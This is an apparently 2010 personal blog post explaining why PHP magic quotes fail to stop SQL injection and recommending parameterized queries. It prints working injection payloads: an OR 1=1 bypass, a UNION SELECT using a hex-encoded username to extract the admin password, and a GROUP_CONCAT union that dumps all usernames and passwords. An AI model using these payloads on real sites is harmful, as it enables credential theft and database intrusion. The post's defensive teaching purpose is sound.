Tuesday, December 7, 2010

Parameterize It!

My first experience with SQL was back in high school, although high school itself never taught me anything about it. It was really the school of hard knocks where I learned PHP and MySQL. Art, a student that was a year older than me had graduated, and as the new president of the computer club it was my responsibility to maintain the projects that Art had left behind. At that time the only thing I new about SQL injection was from a single line comment that Art put in one of his PHP programs:

// Escape those nasty characters
$input = addslashes($input);


If I had known the paramount importance of that line of code I would have spent hours researching it, but I had no idea what it was about.


My next job dealing with SQL came shortly thereafter when the science department of Snow College hired me to build their web pages while I was attending there. What I lacked in education I made up for with dumb luck, and somehow configured php to have magic quotes on. So all of my input was escaped right from the start, but any experienced php hacker will know that in spite of being amazingly convenient, magic quotes are a bad idea. 


Let me show you an example of why magic quotes will lull you into a false sense of security, and could lead to some dangerous SQL injection. Take the following code for example:


<?php


$id = $_GET['id'];
$query = "SELECT username
               , post_title
               , post_date
               , post
          FROM blog
          WHERE post_id = $id";
?>


This seems harmless enough, if a number is used as the input, then the correct blog entry will be returned. Let's see what happens when we use the classic SQL injection attack to get every entry:


http://website.com/blog?id='%20OR%20'1'='1


yields the query:


SELECT username
     , post_title
     , post_date
     , post
FROM blog
WHERE post_id = \' OR \'1\'=\'1;

which will of course generate an error. The problem is that they can inject without using any quotes, for example:

http://website.com/blog?id=1%20OR%201=1

SELECT username
     , post_title
     , post_date
     , post
FROM blog
WHERE post_id = 1
OR 1=1;

Now you might be thinking "Wow, he just got all of my blog posts. I wish everyone would do that." But there are some serious dangers when someone can do something like this. The problem is that if a hacker can append something to the end of your query, he can append anything. I came up with the following injection:


http://website.com/blog?id=1 union select uid, username, password, 1 from users where username=0x61646D696E order by username



SELECT username
     , post_title
     , post_date
     , post
FROM blog
WHERE post_id = 1
UNION
SELECT uid
     , username
     , password
     , 1
FROM users
WHERE username=0x61646D696E
ORDER BY username;

This injection will retrieve the admin password from the database, and display it where the post date would have been. Notice the extra '1' in the select, as we need to match the number of columns as the first select. Or if there are too many in the select we are injecting we can use the concat() function to lower the number of columns.

You might be wondering about the 0x61646D696E in the where clause, which is an important addition. If magic quotes are on we cannot enter in a quote into the query, because it will be escaped and generate an error, but if we want to check for a certain username, such as 'admin', there is a workaround. As it happens you can turn any string into a hex code and pass that to mysql:

mysql> select hex('admin');
+--------------+
| hex('admin') |
+--------------+
| 61646D696E   | 
+--------------+

mysql> select 0x61646D696E;
+--------------+
| 0x61646D696E |
+--------------+
| admin        | 
+--------------+


But suppose we aren't after just one individual password, but we want to get as many from the site as possible, I propose a slightly more devious approach:


http://website.com/blog?id=1 union select max(uid), group_concat(binary concat_ws(0x2C, username, password) order by username separator 0x3C6272202F3E), max(1) from users

SELECT username
     , post_title
     , post_date
     , post
FROM blog
WHERE post_id = 1
UNION 
SELECT GROUP_CONCAT(BINARY
                    CONCAT_WS(0x2C, username, password) 
                    ORDER BY username
                    SEPARATOR 0x3C6272202F3E) awesome
     , MAX(1)
     , MAX(1)
     , MAX(1)
FROM users
ORDER BY awesome;

This query will concatenate as many usernames and passwords as it can and print them out for your viewing pleasure. The max(1) must be used to pad the columns instead of 1 because group_concat is an aggregate function.

So it's obvious that magic quotes won't save you from the wrath of SQL injection, and may lull you into a false sense of security. My solution was a paramaterized SQL function.

Here is an example of what a query may look like:

<?php

$query = "SELECT username
               , post_title
               , post_date
               , post
          FROM blog
          WHERE post_id = :id";
$params = array("id" => $_GET['id']);
$result = $sql->exec($query, $params);

?>

The exec function does all of the escaping and places the parameter for the post id in the correct place. I don't have to worry about a thing.

Leave a comment if you have a more devious injection attack than mine. I would love to see how create someone can get. Assume that the query engine only allows one query at a time.


No comments:

Post a Comment